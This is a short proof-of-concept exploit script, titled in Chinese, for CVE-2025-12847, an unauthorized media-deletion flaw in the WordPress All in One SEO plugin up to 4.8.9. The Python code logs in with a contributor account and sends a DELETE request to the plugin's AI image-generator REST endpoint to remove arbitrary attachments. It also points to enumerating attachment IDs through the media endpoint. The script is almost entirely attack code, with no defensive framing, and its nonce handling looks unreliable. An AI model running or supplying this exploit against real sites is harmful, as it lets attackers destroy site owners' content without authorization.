CVE-2025-12847 WordPress All in One SEO插件未授权媒体附件删除漏洞

import requests import json # CVE-2025-12847 PoC - All in One SEO Plugin Unauthorized Media Deletion # Target: WordPress site with All in One SEO plugin <= 4.8.9 target_url = "http://target-wordpress-site.com" api_endpoint = "/wp-json/aioseo/v1/ai/image-generator" # Authentication - Contributor level account required session = requests.Session() # Login to WordPress (replace with valid credentials) login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(login_url, data=login_data) # Craft DELETE request to delete arbitrary media attachment # Replace ATTACHMENT_ID with target media ID attachment_id = "123" # Target attachment ID to delete delete_url = f"{target_url}{api_endpoint}" headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wordpress_logged_in_...") # Get from logged in session } # Payload to delete media attachment payload = { "action": "delete", "attachment_id": attachment_id } # Send deletion request response = session.delete(delete_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Requires valid attachment ID and Contributor+ access # Attachment IDs can be enumerated via /wp-json/wp/v2/media endpoint